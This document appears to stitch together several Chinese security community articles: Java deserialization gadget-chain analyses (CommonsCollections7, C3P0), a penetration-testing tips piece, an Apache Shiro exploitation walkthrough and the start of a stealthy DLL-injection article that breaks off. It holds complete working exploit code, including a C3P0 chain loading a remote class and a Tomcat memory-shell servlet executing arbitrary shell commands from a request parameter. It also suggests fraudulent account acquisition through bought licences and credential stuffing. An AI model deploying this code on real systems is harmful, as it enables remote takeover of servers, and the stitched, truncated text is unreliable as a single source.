Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
第10行的代码是一个非常完美的衔接点`e.key.equals(key)`，它实现了将hashtable和LazyMap之间反序列化的连接。
**3\. 完整调用**
配合之前构造好的ChainedTransformer 利用链
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
### 0x3 问题分析
**1\. 为什么innerMap为HashMap**
在构造的时候LazyMap时 HashMap
作为decorate参数的第一个参数，那么这里为什么要使用HashMap呢，如果不认真分析这点很容易被忽略。因为要使用的是
HashMap中的equals方法，那么这个传递关系如下图所示
向LazyMap传入Hashmap后在lazymap比较时会调用第一个map的equal方法，同时hashmap继承了AbstractMap类但没有重写equals方法，所以最终调用的是
AbstractMap类中的 equals方法，这也是为什么传入hashmap的原因。
**2\. 为什么创建两个不同的hashmap作为参数**
如果两个hashmap相同的话会直接在hashtable put的时候认为是一个元素，所以之后就不会在反序列化的时候触发equals代码
虽然表面上是lazymap的比较实际lazymap中的map就是传入的hashmap
**3\. 为什么选择 “zZ” 和 “yy” 作为key**
这里我们回头看下Hashtable 中的 reconstitutionPut方法，重点看equals函数调用的前提条件是e.hash 和
hash相等，那就意味着两个key的hash必须相同，这个是条件之一。
有小伙伴会说
为什么不能把两个key设成一样的呢？这样hash就相等了，但是如果继续往下跟代码的话就会发现在lazymap的get方法中有以下逻辑，map的key不能重复否则就不会执行transform函数执行代码了。
所以只能根据以下特性构造了
String s1 = "yy";
String s2 = "zZ";
System.out.println(s1.hashCode()==s2.hashCode());
**4\. 为什么要移除第二个LazyMap中的元素**
看似完美的利用链但是有好多坑要填，就比如 hashtable 在添加第二个元素的时候会触发equals方法
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
......
!value.equals(m.get(key)) // 获取key
......
这里可以看到get方法向当前的map添加了新元素，从而lazyMap2变成了两个元素。新的问题又出现了在AbstractMap的equals方法
主要是判断了两个元素的长度是否相同，所以这里必须将put lazymap2时候添加的key和value给手动去掉。
最好在hashtable put前把transformerChain 设成空，这样不会提前执行命令执行链。
### 0x4 payload编写
虽然原理解释了半天，但是在payload编写方面还是挺好写的，主要步骤如下：
1. 创建两个hashmap和两个Lazymap
2. 向lazymap中填充以yy和zZ为key的两个键值对
3. 将两个lazymap put进创建的hashtable中
4. 修改transformerChain的iTransformers属性为命令执行链
5. 删除lazyMap2中多余的key
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(new Transformer[] {});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
Class tr = transformerChain.getClass();
Field field = tr.getDeclaredField("iTransformers");
field.setAccessible(true);
final Object value = transformers;
final Object chain = transformerChain;
field.set(chain,value);
lazyMap2.remove("yy");
byte[] serializeData=serialize(hashtable);
unserialize(serializeData);
}
完整代码在
<https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/cc7.java>
### 0x5 总结
完美利用了hashtable反序列化时会触发元素比较，巧的是lazymap的equals方法是继承父类方法，父类做的操作是用lazymap的innermap进行对比，刚好innermap是hashmap，hashmap的equals方法时继承AbstractMap类，其中有个获取equals方法参数的key，及m.get(key)，
## 0x02 C3P0 反序列化利用分析
C3P0链也是个比较有趣的利用链，主要涉及了PoolBackedDataSourceBase、ConnectionPoolDataSource、Referenceable、ReferenceableUtils、ReferenceIndirector这几个类和接口。粗略看的话类的关系跳来跳去，利用链貌似很复杂，细细的品一品回味无穷，感觉真香。老规矩，从整体链分析构造方法，最后解答几个自己的问题结束。
### 0x1 调用栈分析
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.readObject
com.mchange.v2.naming.ReferenceIndirector.getObject
com.mchange.v2.naming.ReferenceableUtils.referenceToObject
整个利用链非常的浅，主要利用的PoolBackedDataSourceBase的readObject函数作为反序列化的入口，最后调用referenceToObject函数触发Class.
_forName动态加载远程类_
### 0x2 反序列化链分析
**1\. readObject 函数分析**
那么首先我们看一看这次的入口函数
在代码的213行出发getObject方法，这个方法是ois.readObject
还原出来的对象。因为IndirectlySerialized为一个借口，所以我们在这里还太知道getObject方法的真正执行者是谁。
只能通过分析序列化的过程看一看第一个封装的对象是谁。如下图所示writeObject方法中的169行，因为connectionPoolDataSource没有继承Serializable接口，所以在这里会直接抛异常进入catch代码段。有意思的事情发生了在oos.writeObject的时候包装了类
粗略的看下这个包装的类，需要执行connectionPoolDataSource对象的getReference方法
**2\. getObject 方法分析**
getObject 方法主要是为了调用ReferenceableUtils的referenceToObject
方法，因此要事先将一些参数准备好，尤其是this.reference
**3\. referenceToObject 方法分析**
最后就到了Class解析的地方，var0为传递过来的this.reference，var4为ClassName，var11为ClassLocation这里即URL，最后通过Class.forName解析远程类。
### 0x3 利用链构造
如何构造这个利用链呢？我们从上述分析来看，connectionPoolDataSource是个非常特殊的存在，它是整个链的纽带和桥梁。从分析来看一旦connectionPoolDataSource构造好了，整个利用链也就完成了。那么connectionPoolDataSource需要满足以下条件
1. 继承ConnectionPoolDataSource、Referenceable，并简单实现接口中的方法
2. 重点实现getReference 方法，返回对应的数据
至于原因在问题分析中进行解析。在这里分析ConnectionPoolDataSource接口实现以及getReference方法实现。
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
@Override
public Reference getReference() throws NamingException {
return new Reference("exploit", this.className, this.url);
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
至于为什么getReference，原因很简单在最后的referenceToObject方法中会调用getFactoryClassName和getFactoryClassLocation
获取类名和类的加载URL，然而这两个方法就是Reference类中的。
new Reference("exploit", this.className, this.url);
之后正常写主函数即可。
public static void main(String[] args) throws Exception{
Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]);
con.setAccessible(true);
PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]);
Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
conData.setAccessible(true);
conData.set(obj, new PoolSource("Exploit", "http://127.0.0.1:8080/"));
byte[] serializeData=serialize(obj);
unserialize(serializeData);
}
### 0x4 问题分析
**connectionPoolDataSource的条件由来**
connectionPoolDataSource对象的结构到底是怎么确定的，主要归结为两点
其一序列化时的参数类型为ConnectionPoolDataSource，因此要实现ConnectionPoolDataSource及其父类的所有接口。
其二序列化时调用了ConnectionPoolDataSource类型转换后的getReference因此要实现Referenceable接口及其getReference方法
最后因为接口中的方法都要实现，所以一些无关紧要的方法可以随意返回
## 0x03 总结
主要学习了CC7和C3P0利用链的原理和构造方式，5.1假期收获颇多，打算接下来有时间好好的总结RMI等远程方法调用的知识。
## 0x04 参考文献
<https://xz.aliyun.com/t/7157>
<https://www.cnblogs.com/tr1ple/p/12608764.html>
<https://sec.nmask.cn/article_content?a_id=70074312ac553fcce2c9ead0f951ba63> | 社区文章 |
### 0x01 信息收集
**1、Google Hack实用语法**
迅速查找信息泄露、管理后台暴露等漏洞语法，例如：
filetype:txt 登录
filetype:xls 登录
filetype:doc 登录
intitle:后台管理
intitle:login
intitle:后台管理 inurl:admin
intitle:index of /
查找指定网站，再加上site:example.com，例如：
site:example.com filetype:txt 登录
site:example.com intitle:后台管理
site:example.com admin
site:example.com login
site:example.com system
site:example.com 管理
site:example.com 登录
site:example.com 内部
site:example.com 系统
关键词可以根据实际情况进行调整，推荐Google、Bing，搜索内容如果被删除， **网页快照** 一般仍会有记录。
**2、Shodan、fofa网络资产搜索引擎**
Shodan、foda等网络资产搜索引擎可以用来搜索网络空间中在线设备，功能十分强大，相当于网络安全界的google：
特别是超强搜索引擎[shodan](https://www.shodan.io)，甚至可以 **根据logo** 查询互联网资产：
比如对某IP进行信息检索，点击view raw data：
找到data.0.http.favicon.data字段：
搜索相应的值即可根据企业logo查询资产：
http.favicon.hash:-1507567067
推荐安装shodan chrome 插件，方便进行查看和使用：
https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap
[fofa](https://fofa.so/)是国内的一款网络空间资产搜索引擎，与shodan类似，常见搜索语法：
title="abc" 从标题中搜索abc。例：标题中有北京的网站
header="abc" 从http头中搜索abc。例：jboss服务器
body="abc" 从html正文中搜索abc。例：正文包含Hacked by
domain="qq.com" 搜索根域名带有qq.com的网站。例： 根域名是qq.com的网站
host=".gov.cn" 从url中搜索.gov.cn,注意搜索要用host作为名称。例： 政府网站, 教育网站
port="443" 查找对应443端口的资产。例： 查找对应443端口的资产
...
实用查询语句：
body="关键词1" && country=CN&&title="关键词2"
可以快速定位国内想要搜索的网站信息。
**3、子域名收集**
推荐几个好用的工具：
* JSFinder(<https://github.com/Threezh1/JSFinder>)
在网站的JS文件中，会存在各种对测试有帮助的内容，JSFinder可以帮助我们获取到JS中的url和子域名的信息，拓展我们的渗透范围。爬取分为普通爬取和深度爬取，深度爬取会深入下一层页面爬取JS，时间会消耗的更长，流程如下：
* Sublist3r(<https://github.com/aboul3la/Sublist3r>)
Sublist3r是一个python版工具，其设计原理是基于通过使用搜索引擎，从而对站点子域名进行列举。Sublist3r目前支持以下搜索引擎：Google,
Yahoo, Bing,
百度以及Ask，而未来将支持更多的搜索引擎。目前，Sublist3r同样也通过Netcraft以及DNSdumpster获取子域名。
* 云悉(<http://www.yunsee.cn/info.html>)
云悉可以在线搜集子域名、ip段、CMS指纹等信息
**4、github敏感信息泄露实时监控**
GSIL(GitHub Sensitive Information Leakage)项目，地址：
<https://github.com/FeeiCN/GSIL>
通过配置关键词，实时监控github敏感信息泄露情况，并发送至指定邮箱：
**5、网盘搜索引擎**
和github类似，网盘中往往会存在企业泄露的内部信息，同样需要关注，常见的网盘搜索引擎：
盘多多：<http://www.panduoduo.net/>
盘搜搜：<http://www.pansoso.com/>
盘搜：<http://www.pansou.com/>
凌云风搜索：<https://www.lingfengyun.com/>
**6、注意公众号、服务号、小程序、APP**
企业的微信号、服务号、小程序、APP会帮助我们拓展攻击面，部分应用入口web中并没有，需要从公众号、小程序、APP入手，公众号中甚至会有企业用于测试的公众号、服务号，这些信息需要重点关注：
**7、注册非普通用户（商户、企业用户等等）**
商户、企业用户注册一般需要提交多个资料：营业执照、企业证件号等等，比较繁琐：
但不要因为麻烦放弃，此类用户由于注册难，意味着测试的人员少，往往漏洞比较多。部分平台审核不严，很多情况下提供资料注册即可通过或简单电话验证即可通过。
想办法提供各类资料注册（网上购买营业执照、公开信息收集、PS）
想办法获取到账号（撞裤、文库、QQ群、github泄漏等）
借账号/租账号/买账号
### 0x02 微信公众号抓包技巧
企业微信公众号可以大大拓宽我们的测试范围，公众号部分链接可以直接复制到浏览器中打开，然后按照常规的渗透测试方法进行，但是有的链接复制到浏览器后，会出现下图情况：
对于这种情况，可以通过安卓模拟器抓微信包、真机微信抓包的方式解决，但都相对不太方便，和大家分享通过SocksCap64直接抓微信PC端的流量方法。
SocksCap64是一款功能非常强大的代理客户端，支持http/https、socks4/5、TCP、UDP等协议，在内网渗透中经常使用，同样可以用他来代理微信PC客户端的流量，并将流量转发至burp中，就可以进行抓包分析。
首先还是在burp中设置监听：
然后在SocksCap64中设置代理服务器为burp的地址和端口，代理方式HTTP：
测试一下，是否成功：
然后利用SocksCap64启动微信：
即可成功抓到微信PC端的流量：
### 0x03 登录界面思路
### 0x04 短信&邮件轰炸绕过
在网站测试的过程中，常常在用户注册登录时出现手机号/邮箱注册，这里就可能出现短信&邮件炸弹漏洞，此类漏洞测试比较方便，虽然有的站点做了防护，但也有一些绕过的办法。
这里收集了部分目前较为流行的临时接收短信的网站，方便用于测试：
https://www.pdflibr.com/
http://www.z-sms.com/
https://www.receive-sms-online.info/
[国内] http://www.smszk.com/
[国外] http://receive-sms-online.com/
[国外] https://smsnumbersonline.com/
[国外] https://www.freeonlinephone.org/
[国外] https://sms-online.co/receive-free-sms
在应用手机号/邮箱和验证码作为用户登录凭证时，一般涉及到的网站功能点主要包括：
* 账号注册
* 首次设置密码时用户身份校验
* 账号登录
* 重置密码
* 绑定手机/邮箱
* 修改绑定手机/邮箱
* 免费试用/活动领取/反馈处
* ...
常见的测试和绕过手段：
### 0x05 逻辑漏洞
随着开发人员安全意识的日益加强，IPS/IDS、WAF、全流量检测等防护设备的不断部署，传统的SQL注入漏洞、命令执行等漏洞正变得越来越少，或者越来越难挖（需要绕过各种防御设备）。但业务逻辑漏洞几乎可以bypass一切传统的安全防护设备，目前还没有非常有效的防御手段。同时，业务逻辑纷繁复杂，再资深的程序员也可能挖坑，所以只要基础扎实，逻辑思维能力强，耐心细心，不放过任何一个步骤，此类漏洞比较容易挖。
**1、修改返回包的越权**
**场景1：修改手机号**
一般的修改逻辑为：认证原手机号 -> 填写新手机号 -> 提交修改
如果在进行下一步操作时，没有校验上一步的认证是否成功时，就会存在逻辑缺陷绕过。
比如在第一步认证原手机号时，随意输入验证码，将response包中的相关字段进行修改，比如0改成1，false改成true，即可绕过第一步验证，进入填写新手机号界面，如果第三步提交修改时没有验证第一步的结果，就会造成逻辑漏洞。
乌云案例：<http://www.anquan.us/static/bugs/wooyun-2015-0120951.html>
**场景2：登录绕过**
部分网站的身份验证放在了前端，因此只需要将response包中的相关字段进行修改，比如0改成1，false改成true，就可以登录任意用户账号。
乌云案例：<http://www.anquan.us/static/bugs/wooyun-2015-0151201.html>
**2、水平越权**
**场景1：遍历ID**
在一些请求中，GET或POST中有明显的id数字参数（手机号、员工号、账单号、银行卡号、订单号等等），可以尝试进行遍历，如果程序没有对当前权限进行判断，就会存在水平越权问题。
乌云案例：<http://www.anquan.us/static/bugs/wooyun-2016-0204958.html>
**场景2：ID替换**
如果程序对用户标识进行了hash或者加密，而又无法破解用的什么加密方式的话，就无法通过遍历ID来获取其他用户信息了。此时可以尝试注册两个账号，通过替换两个ID加密后的值，判断程序是否对权限进行了验证，如果没有，也会存在越权问题。
**3、垂直越权**
观察cookie中的session字段，猜测修改，发现：
level=1： admin
level=2： vip user
level=3： normal user
**说明，本教程文章仅限用于学习和研究目的，请勿用于非法用途。漏洞挖掘中应遵守SRC中的相关规则。** | 社区文章 |
## 环境搭建
### 本地搭建
这里就直接使用1.2.4版本的shiro环境
[下载连接](https://github.com/apache/shiro)
选择1.2.4版本的源码就行了(不管用git或者直接下载zip包)
直接打开该maven项目
idea自动会对项目依赖进行加载
我们使用其中官方给出的例子进行测试
也即是在`samples`文件夹下的`samples-web`项目
首先，我们对pom.xml就行修改
添加commons-collections 3.2.1的依赖和添加jstl依赖的版本
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
之后就是添加tomcat容器进行部署
启动服务之后为
### docker搭建
直接使用dockerhub的镜像就行了
## 构造内存马
熟悉shiro的人都知道大部分的CC链在shiro下是不能够利用成功的
具体点就是因为在shiro进行反序列化的过程中，在`org.apache.shiro.io.DefaultSerializer#deserialize`方法的调用中
这里并不是按照寻常的创建了一个`ObjectInputStream`对象，之后调用该对象的`readObject`方法进行反序列化利用
而对于`ClassResolvingObjectInputStream`这个类对象，我们可以跟进看一下
这个类继承了`ObjectInputStream`对象，且重写了其`resolveClass`方法
我们来对比看看两者这个方法有些什么不同的地方
在`ObjectInputStream#resolveClass`方法中，使用的是`Class.forName`的方式获取类，而shiro中重写的方法中使用的是`ClassUtils.forName`方法进行获取的，我们可以详细看看
这里是调用了`THREAD_CL_ACCESSOR`属性的`loadClass`方法进行加载
该属性是一个`ExceptionIgnoringAccessor`对象
这里的实际调用的是`WebappClassLoaderBase#loadClass`方法(动态调试)
>
> 先从cache中找已载入的类，如果前3点都没找到，再通过父类`URLClassLoader`的`loadClass`函数载入。但是实际上此时loadClass的参数name值带上了数组的标志，即`/Lorg/apache/commons/collections/Transformer;.class`，在参考的第二篇文章里有提到这个问题，所以导致shiro无法载入数组类型的对象。
所以想要在shiro环境下进行利用，只需要找到一个不带有数组的利用方式就行了
有很多，这里就只是以`InvokerTransformer + LazyMap + TemplatesImpl`的组合来进行利用
因为我这里的tomcat环境是8.x版本, 我这里是动态创建了一个Servlet来注入内存马
所以我们需要获取到`Context`这个上下文对象
获取方式同样有很多，我这里选用了直接从上下文中获取`ApplicationContext`对象
// 从线程中获取类加载器WebappClassLoaderBase
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// 获取TomcatEmbeddedContext对象
Context context = contextClassLoader.getResources().getContext();
// 从上下文中获取ApplicationContext对象
ApplicationContext servletContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));
完整的构造
package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
public class TomcatMemshell2 extends AbstractTranslet implements Servlet{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static Object getField(Object obj, Field field) {
try {
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
}
return null;
}
static {
try {
// 从线程中获取类加载器WebappClassLoaderBase
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// 获取TomcatEmbeddedContext对象
Context context = contextClassLoader.getResources().getContext();
// 从上下文中获取ApplicationContext对象
ApplicationContext servletContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));
String name = "RoboTerh";
if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
//自定义servlet
Servlet servlet = new TomcatMemshell2();
//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
//向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/shell", name);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
之后使用不带数组的CC链生成序列化数据
## 测试内存马
启动我们clone下来的项目
### 失败的测试
之后将AES加密之后得到的base64编码的数据在Cookie字段发送
就这么简单就成功了吗？当然不是，在shiro服务端出现了报错
请求头太大了，不能够进行利用
那么如何绕过这个`maxHttpHeaderSize`的限制呢？
在`Litch1`中存在有种思路
[基于全局储存的新思路 | Tomcat的一种通用回显方法研究
(qq.com)](https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3)
但是我选用了另一种思路进行注入
[Java代码执行漏洞中类动态加载的应用 | l3yx's
blog](https://l3yx.github.io/2020/07/06/Java代码执行漏洞中类动态加载的应用/)
通过将创建一个自定义的`ClassLoader`来对我们的恶意类进行加载
在`ClassLoader`中主要的逻辑是获取一个POST传参`ClassData`的值，然后调用`defineClass`进行类的获取之后调用`newInstance`进行实例化触发恶意类的静态代码块或者构造函数中的逻辑
所以，我们需要的是将我们注入内存马的恶意类的字节码进行base64编码之后进行POST传参，使得在shiro进行反序列化调用的时候会获取这个类并实例化，就能够绕过前面`maxHttpHeaderSize`的限制
具体的恶意类为：
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Scanner;
import javax.management.MBeanServer;
import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.modeler.Registry;
public class TomcatMemshell3 extends AbstractTranslet implements Servlet {
public TomcatMemshell3() {
}
public static Object getField(Object obj, Field field) {
try {
field.setAccessible(true);
return field.get(obj);
} catch (Exception var3) {
return null;
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public void init(ServletConfig servletConfig) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = (new Scanner(in)).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
public String getServletInfo() {
return null;
}
public void destroy() {
}
static {
try {
MBeanServer mBeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));
Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));
HashMap domainTb = (HashMap)getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));
Object namedObject = ((HashMap)domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");
Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));
Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));
ArrayList processors = (ArrayList)getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
Iterator var8 = processors.iterator();
label41:
while(true) {
ServletContext servletContext;
String name;
do {
Request req;
do {
if (!var8.hasNext()) {
break label41;
}
Object processor = var8.next();
RequestInfo requestInfo = (RequestInfo)processor;
req = (Request)getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
} while(req.getParameters().getParameter("cmd") == null);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)req.getNote(1);
servletContext = request.getServletContext();
name = "RoboTerh";
} while(servletContext.getServletRegistration(name) != null);
StandardContext o = null;
while(o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object obj = f.get(servletContext);
if (obj instanceof ServletContext) {
servletContext = (ServletContext)obj;
} else if (obj instanceof StandardContext) {
o = (StandardContext)obj;
}
}
Servlet servlet = new TomcatMemshell3();
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
o.addChild(newWrapper);
o.addServletMappingDecoded("/shell", name);
}
} catch (Exception var18) {
var18.printStackTrace();
}
}
}
这里是动态创建了一个Servlet
### 成功的测试
之后我们可以进行测试
像这样进行传参
判断是否成功注入
成功创建了一个Servlet
## Reference
<https://l3yx.github.io/2020/07/06/Java%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E4%B8%AD%E7%B1%BB%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E7%9A%84%E5%BA%94%E7%94%A8>
<https://www.anquanke.com/post/id/192619>
[https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3](https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3) | 社区文章 |
# 前言
我们使用一般的注入方式如全局钩子注入、远程线程注入等注入dll到一个程序里面，因为使用了`GetProcAddress`得到`LoadLibrary`的地址，用`LoadLibrary`的地址加载了我们自己的dll，所以在导入表里面能够看到dll，如下所示
这里我注入一个dll到有道云笔记里面
使用Proc查看dll是能够清楚的看到的
那么有没有一种技术能够更加隐蔽的注入dll呢，这里我们就可以自己申请内存写入shellcode，使用到内存写入技术
# 基础知识
**重定位表**
重定位表（Relocation
Table）用于在程序加载到内存中时，进行内存地址的修正。为什么要进行内存地址的修正？我们举个例子来说：test.exe可执行程序需要三个动态链接库dll（a.dll，b.dll，c.dll），假设test.exe的ImageBase为400000H，而a.dll、b.dll、c.dll的基址ImageBase均为1000000H。
那么操作系统的加载程序在将test.exe加载进内存时，直接复制其程序到400000H开始的虚拟内存中，接着一一加载a.dll、b.dll、c.dll：假设先加载a.dll，如果test.exe的ImageBase
+ SizeOfImage +
1000H不大于1000000H，则a.dll直接复制到1000000H开始的内存中；当b.dll加载时，虽然其基址也为1000000H，但是由于1000000H已经被a.dll占用，则b.dll需要重新分配基址，比如加载程序经过计算将其分配到1200000H的地址，c.dll同样经过计算将其加载到150000H的地址。如下图所示：
但是b.dll和c.dll中有些地址是根据ImageBase固定的，被写死了的，而且是绝对地址不是相对偏移地址。比如b.dll中存在一个call
0X01034560，这是一个绝对地址，其相对于ImageBase的地址为δ = 0X01034560 - 0X01000000 =
0X34560H；而此时的内存中b.dll存在的地址是1200000H开始的内存，加载器分配的ImageBase和b.dll中原来默认的ImageBase（1000000H）相差了200000H，因此该call的值也应该加上这个差值，被修正为0X01234560H，那么δ
= 0X01234560H - 0X01200000H =
0X34560H则相对不变。否则call的地址不修正会导致call指令跳转的地址不是实际要跳转的地址，获取不到正确的函数指令，程序则不能正常运行。
由于一个dll中的需要修正的地址不止一两个，可能有很多，所以用一张表记录那些“写死”的地址，将来加载进内存时，可能需要一一修正，这张表称作为重定位表，一般每一个PE文件都有一个重定位表。当加载器加载程序时，如果加载器为某PE（.exe、.dll）分配的基址与其自身默认记录的ImageBase不相同，那么该程序文件加载完毕后就需要修正重定位表中的所有需要修正的地址。如果加载器分配的基址和该程序文件中记录默认的ImageBase相同，则不需要修正，重定位表对于该dll也是没有效用的。比如test.exe和a.dll的重定位表都是不起作用的（由于一般情况.exe运行时被第一个加载，所以exe文件一般没有重定位表，但是不代表所有exe都没有重定位表）。同理如果先加载b.dll后加载a.dll、c.dll，那么b.dll的重定位表就不起作用了。
**PE结构**
